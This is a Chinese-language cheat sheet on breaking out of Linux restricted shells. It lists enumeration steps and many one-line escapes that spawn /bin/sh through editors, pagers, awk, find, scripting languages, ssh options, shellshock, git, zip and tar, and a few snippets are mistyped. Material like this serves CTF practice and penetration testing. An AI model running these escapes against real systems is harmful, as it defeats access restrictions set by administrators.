原文:Linux Restricted Shell Bypass Guide - By @n4ckhcker & @h4d3sw0rm
本文针对rbash逃逸,介绍了多种方式
简介
Linux Restricted Shell是一种限制命令(如:cd、ls、echo等)、阻止环境变量(如:shell、path、user),甚至于阻止管道/重定向(如:>,>>,|)的shell。
常见的Linux Restricted Shell有rbash、rksh、rsh。
Linux Restricted Shell有如下场景使用
- 提高系统安全性
- 阻止黑客执行高危命令
- 系统管理员创建受限制Shell,进而防止普通用户执行危险命令
- 部分CTF赛题,如Root-Me、HackThebox、vulnhub
信息收集
通过信息收集,我们可以知道当前可以再rbash下的环境信息,以及可以执行哪些命令
- 检查可用的命令,如:cd、ls、echo等
- 检查运算符,如:>、>>、|、<等
- 检查可用的编程语言,如:php、perl、ruby、python等
- 哪些命令可以作为root (sudo -l)运行
- 检查具有SUID权限的文件或命令
- 检查当前使用的shell:echo $shell
- 检查环境变量:运行env、printenv、set等
常用逃逸命令
- 如果允许使用“/”,则可以运行/bin/sh、/bin/bash
- 如果允许使用cp命令,则可以复制/bin/sh到当前目录
- 使用ftp进行命令执行,执行 !/bin/sh
- 使用gdb进行命令执行,执行 !/bin/sh
- 使用more/man/less进行命令执行,执行 !/bin/sh
- 使用vim进行命令执行,执行 !/bin/sh
- 使用rvim执行
:python
,然后运行import os; os.system("/bin/bash )
- 使用scp,通过scp来传入自己脚本
- 使用awk,执行
awk 'BEGIN {system("/bin/sh or /bin/bash")}'
- 使用find,执行
find / -name test -exec /bin/sh or /bin/bash \
编程语言逃逸
- 使用except,执行
except spawn sh then sh.
- 使用python,执行
python -c 'import os; os.system("/bin/sh")'
- 使用php,执行
php -a then exec("sh -i");
- 使用perl,执行
perl -e 'exec "/bin/sh";‘
- 使用lua,执行
os.execute('/bin/sh')
- 使用ruby,执行
exec "/bin/sh"
高级技术
- 通过ssh,
ssh username@IP - t "/bin/sh" or "/bin/bash"
- 通过ssh,
ssh username@IP -t "bash --noprofile"
- 通过ssh连接,并使用shellshock,
ssh username@IP -t "() { :; }; /bin/bash"
- 通过ssh连接,
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1
(SUID) - 通过git,执行
git help status
,然后执行!/bin/bash - 通过pico,执行
pico -s "/bin/bash"
,然后写入/bin/bash,并且执行CTRL+T - 通过zip,执行
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
- 通过tar,执行
tar cf /dev/null testfile --checkpoint=1 --checkpoint- action=exec=/bin/bash
环境变量修复
获取到的Shell,环境变量可能会缺失,在这里可以通过如下命令进行修复
export PATH=$PATH:/sbin:/usr/sbin:/bin:/usr/bin